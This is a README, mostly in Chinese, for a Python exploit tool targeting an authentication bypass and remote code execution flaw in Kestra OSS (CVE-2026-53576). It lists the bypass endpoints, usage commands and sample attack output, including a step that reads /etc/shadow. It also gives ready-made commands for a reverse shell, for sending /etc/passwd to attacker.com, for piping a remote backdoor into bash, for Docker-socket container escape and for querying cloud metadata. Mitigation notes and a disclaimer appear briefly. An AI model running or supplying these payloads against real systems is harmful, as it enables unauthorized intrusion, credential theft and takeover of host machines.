
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
此工具仅用于教育和经授权的安全测试目的。
- 切勿对您不拥有或没有明确书面许可的系统使用本工具。
- 切勿将其用于非法活动。
- 作者对任何滥用本工具的行为不承担责任。
- 请自行承担风险使用。
CVE-2026-53576 是 Kestra OSS v1.3.20 及更早版本中的一个严重漏洞,攻击者可通过绕过认证过滤器实现未认证远程代码执行。
Kestra 的认证过滤器存在一个严重的逻辑缺陷:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
该检查会判断任何 API 请求是否以 /configs 结尾,而不是匹配精确的路由。这允许攻击者通过在任意端点后附加 /configs 来绕过认证。
POST /api/v1/main/flows/configs(绕过认证)POST /api/v1/main/executions/configs/configs(绕过认证)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
输出:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
未认证的攻击者可以:
以 root 身份执行任意命令:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
横向移动到宿主机系统(如果挂载了 Docker socket):
docker run -v /:/host --privileged alpine chroot /host
访问云元数据(如果运行在云服务商上):
curl http://169.254.169.254/latest/meta-data/
关闭存在漏洞的实例:
sudo systemctl stop kestra
阻止公共访问:
iptables -A INPUT -p tcp --dport 8080 -j DROP
应用防火墙规则:
将 Kestra 更新到最新的已修复版本:
实施适当的认证机制:
容器加固:
/var/run/docker.sock网络安全加固:
| 日期 | 事件 |
|---|---|
| 2026-05-26 | 发现漏洞 |
| 2026-06-03 | 发布 Kestra 安全公告 |
| 2026-06-10 | 分配 CVE-2026-53576 |
| 2026-06-15 | 公开披露 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
如果您觉得此工具对您有帮助:
| 属性 | 值 |
|---|
| CVE 编号 | CVE-2026-53576 |
| 严重程度 | 严重 (CVSS 9.8) |
| 漏洞类型 | 认证绕过 + RCE |
| 受影响产品 | Kestra OSS |
| 受影响版本 | ≤ v1.3.20 |
| 攻击向量 | 网络 |
| 所需认证 | 无 |
| 用户交互 | 无 |
| 选项 | 说明 |
|---|
target | 目标 IP 地址或主机名(必填) |
-p, --port | 端口(默认:8080) |
--https | 使用 HTTPS 代替 HTTP |
-c, --command | 要执行的自定义命令 |
--docker-check | 检查 Docker socket 访问权限 |
--cleanup | 利用完成后删除流程 |
--delay | 请求之间的延迟(默认:2 秒) |
| 类别 | 严重程度 | 描述 |
|---|
| 机密性 | ⚠️ 严重 | 读取任意文件(密码、密钥、配置) |
| 完整性 | ⚠️ 严重 | 创建/修改/删除流程和数据 |
| 可用性 | ⚠️ 高 | 关闭系统、资源耗尽 |
| 认证 | ⚠️ 严重 | 完全绕过 Basic-Auth |
| 权限提升 | ⚠️ 严重 | 以 root(uid=0)身份执行命令 |
| 容器逃逸 | ⚠️ 严重 | 通过 Docker socket 攻陷宿主机 |
| 2026-08-01 |
| 发布 PoC |